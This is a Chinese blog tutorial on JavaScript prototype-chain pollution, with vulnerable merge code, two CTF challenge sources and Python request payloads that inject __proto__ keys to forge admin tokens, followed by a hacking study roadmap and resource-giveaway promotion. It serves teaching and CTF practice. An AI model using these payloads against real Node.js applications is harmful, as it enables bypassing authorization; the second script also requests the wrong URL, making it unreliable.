2024年最新安全基础 --- 原型链污染

4、原型链污染

实例:

foo.__proto__指向的是Foo类的prototype。若修改foo.__proto__中的值,就可修改Foo类?

// foo是一个简单的JavaScript对象
let foo = {bar:1};

// foo.bar此时为1
console.log(foo.bar);

// 修改foo的原型(即object)
foo.__proto__.bar = 2;

// 查找顺序原因,foo.bar仍然是1
console.log(foo.bar);

// 此时用objecr创建一个空的zoo对象
let zoo = {};

// 查看zoo.bar
console.log(zoo.bar);

解析:

修改 foo 原型foo.__proto__.bar = 2,而 foo 是一个object类的实例,所以实际上是修改了object这个类,给这个类增加了一个属性bar,值为2

后来用object类创建了一个zoo对象,let zoo = {},zoo对象自然也有一个bar属性了

原型链污染定义:

如果攻击者控制并修改了一个对象的原型,那将可以影响所有和这个对象来自同一个类、父类的对象,这种攻击方式就是原型链污染

哪些情况原型链会被污染?

哪些情况可以设置__proto__的值?找到能够控制数组(对象)的“键名”的操作即可:

使用megre测试
function merge (target,source) {
    for(let key in source) {
        if(key in source && key in target){
            merge(target[key],source[key]);
        }else{
            target[key] = source[key];
        }
    }
}

merge操作是最常见可能控制键名的操作,也最能被原型链攻击

在合并过程中,存在赋值的操作 target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

使用如下代码进行测试:
let o1 = {};
let o2 = {a:1,"__proto__":{b:2}};
merge(o1,o2);
console.log(o1.a,o1.b);

o3 = {};
console.log(o3.b);

结果:合并成功,原型链未被污染

解析:

js 创建 o2 的过程(let o2 = {a:2,“__proto__”:{b:2}})中,__proto__代表o2的原型了,此时遍历o2的所有键名,拿到的是[a,b],__proto__并不是一个key,也不会修改object的原型

修改代码
let o1 = {};
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}');
merge(o1,o2);
console.log(o1.a,o2.b);

o3 = {};
console.log(o3.b);

解析:

JSON解析的情况下,__proto__会被认为是一个真正的“键名”,不代表原型,所以在遍历o2的时候存在这个键,

新建的o3对象,也存在b属性,说明object已被污染

实例

例1:hackit2018
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
//目前user并没有admintoken
var user = []; //empty for now
 
var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}
 
function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}
 
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
 
app.get('/', (req, res) => {
 
    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];
 
    }
    res.render('index');
})
 
 
app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)
 
 
app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;
 
    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }
 
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 
 
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }
 
    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }
 
})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})
解析:

获取 flag 的条件是传入的querytoken要和user数组本身的admintoken的MD5值相等,且二者都要存在;全文没有对user.afmintoken进行赋值,理论上这个值不存在,但存在以下赋值语句

matrix[client.row][client.col] = client.data;
其中data、row、col,都是post传入的值,都是可控的。所以可构造原型链污染
本地测试

payload:使用python传入参数
import requests
import json

url = "http://192.168.174.123:3000/api"
url1 = "http://192.168.174.123:3000/admin?querytoken=5881ca97cfe9782358a88e0b31092814"

headers = {"Content-type": "application/json"}

data = {"row": "__proto__", "col": "admintoken", "data": "oupeng"}

res1 = requests.post(url, headers=headers, data=json.dumps(data))
# json.dumps与json.parse是相同的 
res2 = requests.get(url1)

print(res2.text)

运行结果:

例2:
'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
解析:

分析题目,获取flag的条件是:admin.admin == 1,而 admin 本身是一个 object ,其admin 属性本身并不存在,且有敏感函数 merge

function merge(a, b) {    
    for (var attr in b) {        
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }    
return a;
}

// merge函数的作用是进行对象的合并,涉及到对象的赋值,键值可控,即可出发原型链污染

本地测试


显式为undefined,如下

创建字典时,__proto__不是作为键名,而是作为__proto__给其父类进行赋值,所以在test.__proto__中才有admin属性,目的是让__proto__作为键值,所以使用JSON.parse()


JSON.parse()会将json字符串转化为JavaScript中的object

此时创建类的时候就不会直接给父类赋值了 ,且题中也出现了JSON.parse

payload:使用python传入参数
import requests
import json

url1 = "http://192.168.174.123:3000/signup"
url2 = "http://192.168.174.123:3000/getflag"

s = requests.session()

headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}

res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)

运行结果:

附:构造函数无return

function Person(name,age){
    this.name = name;
    this.age = age;
    // PS:没有显式的return语句
}

const person1 = new Person("ling",22);
console.log(person1); // output:Person(name:'ling',age:22)

在第一个实例中,Person 构造函数没有显式的 return 语句,因此 new Person(“ling”,20) 将隐式地返回新创建的 Person 对象实例,并赋值给 person1 变量

function AnotherPerson(name,age){
    this.name = name;
    this.age = age;


### 如何自学黑客&网络安全


#### 黑客零基础入门学习路线&规划


**初级黑客**  
 **1、网络安全理论知识(2天)**  
 ①了解行业相关背景,前景,确定发展方向。  
 ②学习网络安全相关法律法规。  
 ③网络安全运营的概念。  
 ④等保简介、等保规定、流程和规范。(非常重要)


**2、渗透测试基础(一周)**  
 ①渗透测试的流程、分类、标准  
 ②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking  
 ③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察  
 ④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等


**3、操作系统基础(一周)**  
 ①Windows系统常见功能和命令  
 ②Kali Linux系统常见功能和命令  
 ③操作系统安全(系统入侵排查/系统加固基础)


**4、计算机网络基础(一周)**  
 ①计算机网络基础、协议和架构  
 ②网络通信原理、OSI模型、数据转发流程  
 ③常见协议解析(HTTP、TCP/IP、ARP等)  
 ④网络攻击技术与网络安全防御技术  
 ⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现


**5、数据库基础操作(2天)**  
 ①数据库基础  
 ②SQL语言基础  
 ③数据库安全加固


**6、Web渗透(1周)**  
 ①HTML、CSS和JavaScript简介  
 ②OWASP Top10  
 ③Web漏洞扫描工具  
 ④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)  
 恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k


到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?


如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!


**7、脚本编程(初级/中级/高级)**  
 在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.


如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

**8、超级黑客**  
 这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。  
 ![img](https://img-blog.csdnimg.cn/img_convert/3fd39c2ba8ec22649979f245f4221608.webp?x-oss-process=image/format,png)


#### 网络安全工程师企业级学习路线


![img](https://img-blog.csdnimg.cn/img_convert/931ac5ac21a22d230645ccf767358997.webp?x-oss-process=image/format,png)  
 如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的


视频配套资料&国内外网安书籍、文档&工具


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

![img](https://img-blog.csdnimg.cn/img_convert/153b2778a3fe5198265bed9635d63469.webp?x-oss-process=image/format,png)  
 一些笔者自己买的、其他平台白嫖不到的视频教程。  
 ![img](https://img-blog.csdnimg.cn/img_convert/32eb4b22aa740233c5198d3c161b37e8.webp?x-oss-process=image/format,png)



**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 13
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值